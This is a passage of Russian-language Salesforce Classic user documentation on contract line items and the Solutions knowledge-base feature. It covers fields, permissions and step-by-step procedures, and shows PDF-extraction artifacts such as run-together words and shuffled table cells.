прайс-листов

Элемент строки контракта — это определенный продукт, указанный в сервисном
контракте. Узнайте, как выполнять основные действия для элементов строки контракта.

Просмотр элементов строки контракта
Чтобы просмотреть элемент строки контракта, перейдите к сервисному контракту,
на который он распространяется. Связанный список «Элементы строки контракта»
содержит все элементы строки, связанные с сервисным контрактом. Для просмотра
связанных прав, журнала и других сведенийщелкните элемент строки контракта.

Прим.: Элементыстрокиконтрактанеподдерживаютсозданиенастраиваемых
списковых представлений.

Добавление элементов строки контракта в сервисный контракт
Элементыстрокиконтрактаможнодобавлятьизсвязанногосписка «Элементыстроки
контракта» на странице «Сведения о сервисном контракте».

1. Нажмите кнопку «Добавить элемент строки» в связанном списке «Элементы
строки контракта».

2. Выберите прайс-лист. Если активирован только стандартный прайс-лист, то он
автоматически назначается сервисному контракту.

3. Выберите один или несколько продуктов из списка или найдите продукт и
щелкните по его имени.

4. Введитеатрибутыдлякаждогопродукта. Администраторможетнастроитьданную
страницу так, что она будет содержать поля, характерные для текущей
организации.

5. Заполнитеполе «Продажнаяцена». Поумолчаниюпродажнаяценаопределяется
ценой продукта по прайс-листу, назначенному возможности. В зависимости от
предоставленных полномочий, данное значение может быть переопределено.
Например, можно предоставить скидку.

6. Введите количество продуктов по данной цене в поле «Количество».

7. Нажмите кнопку «Сохранить».

Удаление элементов строки контракта
Элементы строки контрактаможно удалить из связанного списка «Элементы строки
контракта» на странице «Сведения о сервисном контракте».

Удаленныйэлемент строкиконтрактаперемещается в корзину. Кроме того, удаление
элемента строки контракта инициирует удаление всех связанных примечаний,
вложений или действий. Восстановление элемента строки контракта инициирует
восстановление всех связанных элементов.

Предоставление общего доступа к элементам строки контракта
Элементы строки контракта не поддерживают общий доступ. Общий доступ к
элементам строки контракта наследуется от сервисных контрактов. Например,

2505

Элементы строки контрактаПоддержка клиентов



пользователи с полномочием «Чтение» для сервисных контрактов наследуют полномочие «Чтение» для элементов
строки контракта.

СМ. ТАКЖЕ:

Поля элементов строки контракта

Права: термины, которые следует знать

Поля элементов строки контракта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

Элементыстрокиконтракта содержат следующиеполя. Взависимостиотиспользуемого
макета страницыипараметров безопасности полей некоторые поля могут быть скрыты
или недоступны для редактирования.

ОписаниеПоле

Актив, связанный с элементом строки
контракта.

Продукты — это объекты, продаваемые
компанией (например, сумкадляноутбука),
а активы — это определенные продукты,
приобретенные клиентом (сумка для
ноутбука, приобретенная покупателем).

Имя актива

Пользователь, создавший элемент строки
контракта. (Только для чтения)

Создано

Дата создания элемента строки контракта.Дата создания

Описание элемента строки контракта.
Данное поле поддерживает ввод не более

Описание

32 Кб данных. В отчетах отображаются
только первые 255 символов.

Скидка, применяемая к элементу строки
контракта. Символ процента является

Скидка

необязательным; количество знаковпосле
запятой не должно превышать двух.

Последнийденьдействияэлементастроки
контракта.

Это поле остается пустым, если не
установлен триггер Apex или быстрое
действие для его заполнения.

Дата окончания

Пользователь, изменивший элемент
строки контракта последним. (Только для
чтения)

Последнее изменение сделано
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ОписаниеПоле

Автоматически создаваемый номер элемента строки
контракта. (Только для чтения)

Номер элемента строки

Ценаэлемента строкиконтракта (продукта) попрайс-листу,
включая валюту. (Только для чтения)

Цена по прайс-листу

Имяэлемента строкиконтракта (продукта) попрайс-листу.Продукт

Количество единицэлемента строкиконтракта (продукта),
указанного в сервисном контракте.

Значение должно быть больше единицы.

Количество

Цена элемента строки контракта.

Поумолчаниюпродажнаяцена элемента строкиконтракта
(продукта), добавленного в возможность или смету,

Продажная цена

соответствует цене элемента строки контракта (продукта)
по прайс-листу, но может быть изменена.

Сервисный контракт, связанный с элементом строки
контракта.

Сервисный контракт

Дата начала элемента строки контракта.

Этополеостаетсяпустым, еслине установлен триггерApex
или быстрое действие для его заполнения.

Дата начала

Статус элемента строки контракта.

Статусопределяетсятекущейсистемнойдатойорганизации
и полями элемента строки контракта «Дата начала» и
«Дата окончания». Статусу присваивается значение...

Статус

• «Активно», если системная дата находится в диапазоне:
большеилиравно «Дата начала» именьшеилиравно
«Дата окончания.

• «Срок действия истек», если значение поля «Дата
окончания» предшествует системной дате.

• «Неактивно», если системная дата предшествует
значению поля «Дата начала».

Представляетстатус элементастрокиконтракта спомощью
одного из следующих значков.

Значок статуса

•  «Активно»

•  «Срок действия истек»

•  «Неактивно»

Продажная цена элемента строки контракта, умноженная
на количество.

Промежуточная сумма
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ОписаниеПоле

Продажная цена элемента строки контракта, умноженная
на количество, минус скидка.

Итоговая цена

СМ. ТАКЖЕ:

Поля сервисных контрактов

Рекомендации по работе с элементами строки контракта

Доступ к базе знаний

Решения

Общие сведения о решениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Решение — этоподробноеописаниерешения, принятоговотношениизапросаклиента.
Создание, проверка и категоризация решений доступны менеджерам решений,
администраторам и пользователям с соответствующими полномочиями. Кроме того,
они могут публиковать решения на портале самообслуживания и делать их
общедоступными.

Вкладка «Решения» содержит начальную страницу, позволяющую быстро находить
нужные решения и управлять ими. Если в организации включена поддержка категорий
решений, то пользователи могут просматривать и искать решения по категории.
Сортировка и фильтрация решений могут выполняться с помощью стандартных и
настраиваемых списковых представлений.

Импортрешенийдоступенадминистраторамипользователямсполномочием «Импорт
решений».

Прим.: По умолчанию решения создаются и отображаются в текстовом формате. Если в организации включена
поддержка HTML-решений, то всерешенияотображаются вформате HTML исоздаютсяпосредствомредактора HTML.

СМ. ТАКЖЕ:

Начальная страница решений

Советы по созданию решений

Общие сведения об HTML-решениях

Руководство по административной настройке: руководство по внедрению решений
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Поиск решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра решений:
• «Чтение» для решений

Ниже перечислены способы поиска решений.

• Поиск на вкладке «Обращения»

• Поиск на вкладке «Решения»

• Просмотр решений

• Поиск с помощьюфункции глобального поиска

• Создание списковых представлений в Salesforce Classic

Поиск выполняется по всем стандартным текстовым полям решений, а также по
перечисленным ниже типам настраиваемых полей.

• Автонумерация

• Текст

• Область текста

• Область подробного текста

• Эл. почта

• Тел.

• Любое поле, заданное в качестве внешнего кода.

Ниже перечислены особенности поиска решений.

• В результате поиска отображаются решения, содержащие все или только некоторые ключевые слова. Например, в
результатепоискапокритерию data loader могутотображаться записи, содержащиетолькословоdataили loader,
либооба ключевыхслова влюбомпорядке. Чембольшеключевыхслов содержат записи, темвышеониотображаются
в результатах поиска. Близость ключевых слов также влияет на позицию записей в результатах поиска.

• Решения поддерживаютфункциюморфологического поиска, то есть поиска морфологическойформы введенного
запроса. Например, в результате поиска по запросу «создание» могут быть найдены решения, содержащие слова
«создать», «создал» и «создание».

• Чтобы уточнить результаты поиска решений, воспользуйтесь специальными символами и операторами.

• Решение, заголовок которого соответствует хотя бы одному из заданных критериев поиска, отображается вверху
списка.

• Количество обнаруженных решений отображается в круглых или квадратных скобках. Например, запись «Грузовик
(35)», отображающаяся в результате поиска по запросу «Грузовик», указывает на то, что обнаружено 35 решений,
содержащих слово «Грузовик».

Поиск на вкладке «Обращения»
1. Введите ключевыеслова, связанныес возможнымрешением, вполепоиска связанногосписка «Решения» на странице

сведений об обращении. Поисковый запрос может содержать специальные символы и операторы.

2. Если в организации включена поддержка категорий, выберите нужную категорию.

3. Нажмите кнопку «Найти решение». В результате поиска отображается список соответствующих решений.

• Чтобы отсортировать результаты поиска по возрастанию или убыванию, щелкните заголовок нужного столбца.

– Сортировка применяется ко всем найденным элементам, включая элементы на последующих страницах.

– Заголовкистолбцовдляполейраскрывающихсясписковсомножественнымвыборомнедоступныдлянажатия,
так как тип поля раскрывающегося списка со множественным выбором не обеспечивает сортировку.
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• Если в организации включена поддержкамногоязычныхрешений, то найденные решения отображаются на всех
соответствующих языках. Критерии поиска, введенные на одном языке, могут быть обработаны на другом языке
иным способом, что может сказаться на точности найденных решений.

• Если в организации включена поддержка сводок по решениям и путей к встроенным категориям решений, то в
результатах поиска отображаются не более 150 символов решения и 150 символов пути к категориям решений.

• Если в организации включена поддержка HTML-решений, то все теги и изображения удаляются из сведений о
решении.

• Есливорганизациивключенаподдержкапредложенныхрешений, нажмитекнопку «Просмотрпредложенных
решений», чтобыпросмотретьсоответствующиерешенияспомощьюформулы, котораяавтоматическиопределяет
степень соответствия каждого решения отдельному обращениюисходя из частоты употребления слов, близости
слов, сходства обращений и связанных решений.

4. Если организация поддерживает использование фильтров, отфильтруйте результаты поиска. Щелкните ссылку
«Показатьфильтры» в соответствующем связанном списке результатов, введите критериифильтрации и нажмите
кнопку «Применитьфильтры».

Поиск на вкладке «Решения»
1. Введите ключевые слова, связанные с возможнымрешением, в поле поиска на вкладке «Решения». Поисковый запрос

может содержать специальные символы и операторы.

2. Если в организации включена поддержка категорий, выберите нужную категорию.

3. Нажмите кнопку «Найти решение». В результате поиска отображается список совпадающих записей.

Чтобы отсортировать результаты поиска по возрастанию или убыванию, щелкните заголовок нужного столбца.

Прим.: Сортировкаприменяетсяковсемнайденнымэлементам, включаяэлементынапоследующихстраницах.
Заголовки столбцов дляполейраскрывающихся списков сомножественнымвыборомнедоступныдлянажатия,
так как тип поля раскрывающегося списка со множественным выбором не обеспечивает сортировку.

Если в организации включена поддержка многоязычных решений, то найденные решения отображаются на всех
соответствующихязыках. Критериипоиска, введенныенаодномязыке, могутбытьобработанынадругомязыкеиным
способом, что может сказаться на точности найденных решений. Если в организации включена поддержка сводок
порешениямипутейк встроеннымкатегориямрешений, то врезультатахпоискаотображаютсянеболее 150 символов
решения и 150 символов пути к категориям решений. Если в организации включена поддержка HTML-решений, то
все теги и изображения удаляются из сведений о решении.

4. Если организация поддерживает использование фильтров, отфильтруйте результаты поиска. Щелкните ссылку
«Показатьфильтры» в соответствующем связанном списке результатов, введите критериифильтрации и нажмите
кнопку «Применитьфильтры».

5. Чтобы открыть запись, щелкните имя нужной записи прямо в списке. Если совпадения не найдены, просмотрите
решения по категориям.

Доступные поля определяются макетом поиска, заданным администратором, и параметрами безопасности полей,
заданными пользователем (только в версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition).

Просмотр решений
1. Чтобы просмотреть список решений в нужной категории и ее подкатегориях, щелкните имя категории в разделе

«Обзор решений» на вкладке «Решения».
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2. Чтобы отсортировать решения по категориям, частоте использования или времени последнего обновления,
воспользуйтесь раскрывающимся списком.

3. Чтобы открыть запись, щелкните имя нужной записи прямо в результатах поиска.

Поиск с помощью функции глобального поиска
1. Введите критерии поиска в область, расположенную в верхнем колонтитуле.

Поисковый запрос может содержать специальные символы и операторы.

2. Чтобыуточнитьрезультатыпоиска, щелкнитессылку «Параметрыпоиска...» враскрывающемсяспискеиустановите
флажок «Решения».

3. Нажмите кнопку «Поиск».

СМ. ТАКЖЕ:

Принятие решений по обращениям

Общие сведения о многоязычных решениях

Отображение и выбор решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Чтение» для решенийДля просмотра решений:

«Чтение» для решений и обращений

И

«Редактирование» для обращений

Для добавления решения в обращение:

«Редактирование» для решенийДляизменениянеопубликованныхрешений:

«Удаление» для решенийДля удаления неопубликованных решений:

«Управлениеопубликованнымирешениями»Для изменения опубликованных решений:

«Управлениеопубликованнымирешениями»Для удаления опубликованных решений:

Отображение решений
Чтобыпросмотретьподробныесведенияорешении, щелкните заголовокнужногорешения, найденногопутемпоиска
вобращениииливыборананачальнойстраницерешенийилинастраницахсоспискомрешений. Есливорганизации
включена поддержка всплывающих сведений, наведите указатель мыши на любое поле поиска страницы сведений,
чтобы просмотреть ключевую информацию о записи до открытия соответствующей страницы сведений.

Просмотр обновлений и комментариев для решений (Chatter)
Лента Chatter позволяет просматривать обновления, комментарии и сообщения для решений.

Выбор решений
Чтобы добавить решение в обращение, нажмите кнопку «Выбрать» на странице сведений о решении или в списке
результатов поиска. Решение автоматически добавляется в обращение. Кнопка «Выбрать» доступна только в том
случае, если для поиска решения использовалось обращение или выполнялся поиск решений для добавления на
начальную страницу портала самообслуживания.
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Редактирование и удаление неопубликованных решений
Чтобы обновить неопубликованное решение, нажмите кнопку «Правка», измените необходимые поля и нажмите
кнопку «Сохранить» (доступно только при наличии полномочия «Редактирование» для решений). Чтобы удалить
неопубликованное решение, нажмите кнопку «Удалить» (доступно только при наличии полномочия «Удаление»
для решений).

Прим.: Есливорганизациивключенаподдержка HTML-решений, то текстовоерешение, открытоеисохраненное
в редакторе HTML, становится HTML-решением.

Редактирование и удаление опубликованных решений
Редактированиеи удалениеопубликованныхрешенийдоступно толькопользователям сполномочием «Управление
опубликованными решениями» (например, администраторы и менеджеры решений).

Связанные списки решений
Связанные списки, расположенные ниже сведений о решении, содержат данные, связанные с решением, включая
журнализменениярешения, открытыеизакрытыедействия, вложения, связанныеобращения, переведенныерешения
и категории решения. Доступные связанные списки определяются персональными настройками пользователя и
параметрами макетов страниц или полномочиями на просмотр связанных данных.

Печать решений
Чтобы открыть печатную версию сведений о записи, щелкните ссылку «Версия для печати», расположенную в
верхнем правом углу страницы.

Прим.: Если в организации включена поддержка HTML-решений, то версия для печати содержит любое
форматирование HTML, примененное к сведениям о решении.

Чтобыоткрытьпоследнююпросмотреннуюстраницу со списком, щелкните ссылку «Назадксписку», расположенную
вверхнейчастилюбойстраницысведенийорешении. Есливорганизациивключенаподдержкасвертываемыхразделов,
щелкнитезначокстрелкинапротивнужногозаголовка, чтобыразвернутьилисвернутьсоответствующийразделстраницы
сведений.

СМ. ТАКЖЕ:

Журнал решения

Создание решений

Категоризация решений
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Просмотр списков решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра списков
решений:
• «Чтение» для решений

Для создания решений:
• «Создание» для решений

Для изменения решений:
• «Редактирование» для

решений

Для удаления решений:
• «Удаление» для решений

Страницасоспискомрешенийсодержитрешения, доступныев текущемпредставлении.
Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку «Создать
новое представление» для разработки собственных настраиваемых представлений.
Чтобы изменить или удалить любое созданное представление, выберите его в
раскрывающемся списке «Просмотр» ищелкните ссылку «Правка».

• Чтобы просмотреть сведения о решении, щелкните заголовок нужного решения.
Чтобы изменить или переместить решение в корзину, щелкните ссылку «Правка»
или «Удал.».

• Если включена поддержка Chatter, щелкните значок или , чтобы начать или
отменить отслеживание решения в ленте Chatter.

• Чтобы создать решение, нажмите кнопку «Создать решение» или выберите пункт
«Решение» в раскрывающемся списке «Создать...» на боковой панели.

СМ. ТАКЖЕ:

Общие сведения о решениях

Создание решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания решений:
• «Создание» для решений

Ниже перечислены способы создания решений.

• Чтобы создать решение на боковой панели или на вкладке «Решения», выполните
указанные ниже действия.

1. Выберите пункт «Решение» в раскрывающемся списке «Создать...» на боковой
панели или нажмите кнопку «Создать» в разделе «Недавние решения» на
начальной странице решений.

Если в организации включена поддержка многоязычных решений, нажмите
кнопку «Создать» в связанном списке «Переведенные решения», чтобы создать
переведенное решение для соответствующего основного решения.

2. Если в организации включена поддержка многоязычных решений, выберите
нужный язык в раскрывающемся списке «Язык».

Доступные языки — это языки, поддерживаемые системой Salesforce. Список
«Язык» не содержит языки, используемые в основном решении или других
переведенных решениях, которые связаны с основным решением.

3. Введите заголовок решения, сведения и другие данные.
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Совет: Решение, заголовок которого содержит критерии поиска, занимает в результатах поиска более
высокую позицию. Таким образом, рекомендуем использовать заголовки, которые содержат наиболее
типичные критерии поиска.

Есливорганизациивключенаподдержка HTML-решений, тосведенияорешениимогутбытьдобавленыпосредством
HTML-редактора. HTML-редактор поддерживает панель инструментов, позволяющую вставлять изображения, а
также форматировать текст и абзацы решения.

4. Если в организации включена функция проверки орфографии, нажмите кнопку «Проверить орфографию»,
чтобы проверить решение на наличие ошибок. Функция проверки орфографии проверяет только описание
решения, но не его заголовок.

Если в организации включена поддержка многоязычных решений, то проверка орфографии выполняется на
языке, выбранномвраскрывающемся списке «Язык». Функцияпроверкиорфографииподдерживаетне все языки,
используемыев системе Salesforce. Например, функцияпроверкиорфографиинеподдерживает тайскийирусский
языки, а также некоторые языки с двухбайтовой кодировкой символов (японский, корейский и китайский).

5. Нажмите кнопку «Сохранить».

Прим.: Изображения в сведениях об HTML-решениях не будут отображаться в списковых представлениях и
отчетах.

• Чтобы создать решение при закрытии обращения, выполните указанные ниже действия.

1. Нажмитекнопку«Закрытьобращение»настраницесведенийобобращениииликнопку«Сохранитьизакрыть»
на странице редактирования обращения.

2. Чтобыотправитьрешениенапроверку, введитезаголовокисведениявразделе«Сведенияорешении»иустановите
флажок «Отправить в базу знаний».

3. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Проверка решений

Советы по созданию решений

Категоризация решений

Советы по созданию решений
Только полезные решения могут ускорить процесс обработки обращений. Изучите указанные ниже рекомендации и
ознакомьтесь с документом «Советы и рекомендации по решениям».

Возможность повторного использования

• Добавьте все факты и симптомы проблемы.

• Добавьте любой нужный анализ или предложения по устранению неполадок.

• Добавьте краткое, но точное описание причины возникновения проблемы, а также ее решение.

• Укажите только одну причину и одно решение для каждого случая. Если решение включает в себя несколько этапов,
пронумеруйте каждый этап и поместите их на отдельную линию.

• Убедитесь в доступности текста, а также в том, что он написан на языке целевой аудитории (как для клиентов, так и
для пользователей службы поддержки).

• Убедитесь, что заголовок правильно отражает суть проблемы или вопроса.
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• Чтобы повысить эффективностьфункции «Предложенные решения», свяжите с отдельным обращением как можно
больше решений. Поиск предложенных решений осуществляется с помощьюформулы, которая автоматически
определяет важность каждогорешениядляотдельногообращения — поколичеству связыванийрешенияспохожими
обращениями.

Прим.: Чтобыгарантироватьвозможностьповторногоиспользованиялюбыхрешений, рекомендуемпридерживаться
единого стиля оформления. Каждая организация может выбрать свой собственный стиль; однако любое решение
должно содержать заголовок, а также описание, причину и способы решения проблемы.

Возможность поиска

• Убедитесь, что решение может быть найдено различными способами, а также различными пользователями, каждый
из которых описывает возникшую проблему по-своему.

• Убедитесь, что решение является уникальным и может существовать как отдельная статья базы знаний.

• Убедитесь в эффективности решения в рамках собственной организации, а также в его полезности для клиентов.

• Убедитесь, что решение содержит используемые клиентами слова, чтобы при регистрации обращений на портале
самообслуживанияили клиентскомпорталепредложенныерешенияотображалисьна основе частоты употребления
слов. Например, если клиенты используют слово «концентратор» вместо слова «маршрутизатор», то слово
«концентратор», добавленноеврешение, позволяетповыситьвероятностьегоотображениявпредложенныхрешениях.

Прим.: Начиная с выпуска Spring'12 портал самообслуживания недоступен для новых организаций. Текущие
организации могут использовать портал самообслуживания в обычном режиме.

Техническая точность

• Убедитесь в точности и актуальности решения.

• Убедитесь в доступности технических данных для целевой аудитории.

Пример решения

Ниже приведен пример, содержащий решение для конкретной проблемы.

How do I change an account's billing information?

Problem–Users aren't sure how to change an account's billing information, such as the
credit card number or payment type.
Solution–Change billing information in the active contract on the account.
1. Open an account by clicking its name on the Accounts home page or an Accounts related
list.
2. Scroll to the Contracts related list and click Edit next to the active contract on the
account.
3. Enter the correct billing information.
4. Click Save.

СМ. ТАКЖЕ:

Создание решений
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Проверка решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для проверки решений:
• «Редактирование» для

решений

Для публикации решений:
• «Управление

опубликованными
решениями»

Проверка текущих решений доступна менеджерам решений, администраторам и
пользователям с полномочием «Редактирование» для решений. Публикация решений
доступна менеджерам решений, администраторам и пользователям с полномочием
«Управление опубликованными решениями».

1. Нажмите кнопку «Правка» на странице сведений о решении.

2. Внесите необходимые изменения и выберите значение «Проверено» в
раскрывающемся списке «Статус».

3. Чтобы сделать решение доступным на портале самообслуживания и клиентском
портале Salesforce, установите флажок «Отображается на портале
самообслуживания».

Прим.: Решение доступно на клиентском портале даже в том случае, если
значение «Проверено» не выбрано в раскрывающемся списке «Статус»;
доступность решения на клиентском портале определяется флажком
«Отображается на портале самообслуживания».

4. Чтобы сделать решение доступным посредством общедоступных решений,
установите флажок «Отображается в общедоступной базе знаний».

Данныйфлажок применяется только к решениям, но не применяется к статьям
общедоступной базы знаний.

5. Нажмите кнопку «Сохранить».

Если в организации включена поддержка многоязычных решений, то страница
статусов переведенных решений отображается в случае изменения основного решения, содержащего переведенные
решения. Данная страница позволяет обновить статусы переведенных решений и уведомить пользователей о
необходимости изменения данных переводов.

СМ. ТАКЖЕ:

Создание решений

Категоризация решений
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Удаление решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления
неопубликованных
решений:
• «Удаление» для решений

Для удаления
опубликованных решений:
• «Управление

опубликованными
решениями»

Чтобы удалить решение, щелкните ссылку «Удал.» напротив нужного решения на
странице со списком решений или нажмите кнопку «Удалить» на странице сведений
о решении. Ссылка «Удал.» отображается только для менеджеров решений,
администраторов и пользователей с полномочием «Управление опубликованными
решениями» или «Удаление» для решений.

При удалении решения выполняется удаление всех связанных журналов и вложений.
Решение перемещается в корзину. Обращения, связанные с решением, не удаляются,
но удаляется соответствующая связь, которая не может быть восстановлена в случае
восстановления решения.

Ниже перечислены рекомендации для организаций, в которых включена поддержка
многоязычных решений.

• Удаление основного решения не инициирует удаление связанных переведенных
решений. Наоборот, каждое переведенное решение становится основным.

• Удаление переведенного решения инициирует удаление его связи с основным
решением.

• Восстановлениеосновногоилипереведенногорешенияиз корзинынеинициирует
восстановление его связей с другими основными или переведенными решениями.
Данные связи могут быть восстановлены вручную путем изменения поля поиска
«Основное решение» на странице редактирования сведений о переведенном
решении.

• При необходимости после удаления переведенного решения новое переведенное
решениеможетбытьдобавленонатомжеязыке. Вэтомслучаеисходноепереведенное
решение может быть восстановлено из корзины только после удаления второго
переведенного решения.

СМ. ТАКЖЕ:

Общие сведения о решениях
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Категоризация решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для категоризации
решений:
• «Редактирование» для

решений

Категориирешенийпозволяютгруппироватьпохожиерешения. Каждоерешениеможет
принадлежать нескольким категориям. Решения, которым назначены категории, могут
быть просмотрены и найдены по соответствующей категории на вкладке «Решения»
илиприпринятиирешенияпообращению. Крометого, категориимогутиспользоваться
для просмотра опубликованных решений в общедоступных решениях, на портале
самообслуживания или клиентском портале.

Прежде чем включить поддержку категорий решений в организации, администраторы
и пользователи с полномочием «Управление категориями» могут назначить решениям
нужныекатегории. После включенияподдержкикатегоризациярешенийдоступна всем
пользователям с соответствующими полномочиями.

Если в организации включена поддержка многоязычных решений, то переведенные
решения наследуют категории основных решений. Категории переведенного решения
синхронизируются с категориями основного решения. Чтобы изменить категории
переведенногорешения, рекомендуемизменитькатегориисоответствующегоосновного
решения.

1. Откройте нужное решение.

2. Нажмите кнопку «Выбрать категории» в связанном списке «Категории решений».

Данный связанный список отображается только в том случае, если категории
включены и определены администратором.

3. Чтобыдобавитькатегориюврешение, нажмитекнопку«Выбрать»виерархиикатегорийрешений. Принеобходимости
повторите данное действие.

Рекомендуем ограничить количество категорий, доступных для решения. Назначение только важных категорий
позволяет ускорить процесс поиска нужных решений пользователями и клиентами.

Чтобы удалить категорию, назначенную решению, щелкните «Отменить выбор».

4. Нажмите кнопку «Сохранить».

Чтобы позднее удалить категорию, назначенную решению, щелкните ссылку «Удал.» в связанном списке «Категории
решений» на странице сведений о решении.

Прим.: Пользователи могут создать настраиваемый отчет по категориям решений. Однако сведения о категории
решений недоступны в списковых представлениях.

СМ. ТАКЖЕ:

Поиск решений

Принятие решений по обращениям
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Настройка статусов многоязычных решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения статуса
переведенных решений:
• «Редактирование» для

решений

Статусы всех переведенных решений, связанных с основным измененным решением,
могутбыть такжеизменены. Принеобходимостипользователямможетбытьотправлено
уведомление об обновлении данных переводов.

1. Чтобы выбрать статус переведенного решения, воспользуйтесь раскрывающимся
списком «Статус». Например, «Черновик», «Проверено» или «Повтор». Доступные
значения раскрывающегося списка определяются администратором.

2. Чтобыуведомитьпользователейобобновленииосновногорешенияинеобходимости
изменения переведенных решений, установите флажок «Устарело». При этом
переведенное решение отображается с пометкой «Устарело» в связанном списке
основного решения «Переведенные решения».

3. Чтобыотправитьпоследнемуактивномупользователю, создавшемуилиизменившему
решение, электронное уведомление об обновлении основного решения и
необходимостиизмененияпереведенныхрешений, установитефлажок «Отправить
уведомление».

Сообщение эл. почты будет отправлено пользователю, указанному в столбце
«Получатель уведомления». Электронные уведомления генерируются системой и
не могут быть изменены. Язык электронного уведомления соответствует языку
получателя.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о многоязычных решениях
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Начальная страница решений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Решения»:
• «Чтение» для решений

Для просмотра решений:
• «Чтение» для решений

Для создания решений:
• «Создание» для решений

При выборе вкладки «Решения» отображается начальная страница решений.

• Чтобы найти нужное решение, введите ключевые слова в поле поиска и нажмите
кнопку «Найти решение». Если в организации включена поддержка категорий,
выберите нужную категорию. Если в организации включена поддержка
многоязычных решений, то найденные решения отображаются на всех
соответствующих языках. Критерии поиска, введенные на одном языке, могут быть
обработаны на другом языке иным способом, что может сказаться на точности
найденных решений.

• Чтобы просмотреть список решений в нужной категории и ее подкатегориях,
щелкните имя категории в разделе «Обзор решений».

• Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку
«Создать новое представление» для разработки собственных настраиваемых
представлений. Чтобы изменить или удалить любое созданное представление,
выберите еговраскрывающемсясписке «Просмотр» ищелкнитессылку «Правка».

• Чтобыпросмотретькраткийсписокрешений, соответствующихзаданномукритерию,
выберите элементраскрывающегося списка вразделе «Недавниерешения». Чтобы
просмотреть сведенияорешении, выберитеимянужногорешенияиз списка. Чтобы
изменитьколичествоотображаемыхэлементов, выберитессылку«Показать 25 элем.»
или «Показать 10 элем.». Доступные поля определяются макетом поиска «Вкладка
"Решения"», заданным администратором, и параметрами безопасности полей,
заданными пользователем (только в версиях Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition). Ниже перечислены критерии фильтрации,
доступные в разделе «Недавние решения».

ОписаниеЗначение списка «Недавние решения»

Последние 10 или 25 решений, просмотренных
пользователем; самыепоследниепросмотренныерешения

Недавно просмотренные

отображаются в списке первыми. Данный список
формируется на основе недавних элементов и содержит
записи, за которые несут ответственность текущий и
другие пользователи.

• Чтобы создать решение, нажмите кнопку «Создать» в разделе «Недавние решения».

• Чтобы открыть отчет, щелкните имя нужного отчета в разделе «Отчеты». Отчет «Список решений» позволяет
составить отчет по любому полю решения.

СМ. ТАКЖЕ:

Общие сведения о решениях

Создание решений

Поиск решений
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Журнал решения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Связанный список «Журнал решения» на странице сведений о решении отслеживает
изменения, внесенные в данное решение. При каждом изменении отслеживаемого
стандартногоилинастраиваемогополярешенияв связанныйсписок «Журналрешения»
добавляется новая запись. Все записи журнала содержат информацию о дате, времени,
характере и авторе изменений. Журнал решения не фиксирует изменения, вносимые в
связанные списки решения.

СМ. ТАКЖЕ:

Общие сведения о решениях

Решения. Вопросы и ответы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

• Кто такой менеджер решений?

• Для чего используются решения?

• В чем разница между решениями и часто задаваемыми вопросами?

• Как создать полезное решение?

• На что следует обратить внимание при проверке решений?

• Что означают флажки «Отображается на портале самообслуживания» и
«Отображается в общедоступной базе знаний» для решения?

Кто такой менеджер решений?

Менеджер решений может редактировать и удалять решения, а также делать их
доступныминапортале самообслуживания, клиентскомпорталеивобщедоступныхрешениях. Какправило, это эксперты
попродукту спрекрасныминавыкамиписьменногообщенияи глубокимипознаниямивопределеннойобластипродукта.
Чтобы назначить пользователя менеджером решений, администратор может назначить этому пользователю профиль
«Менеджер решений» при создании или редактировании его личных сведений.

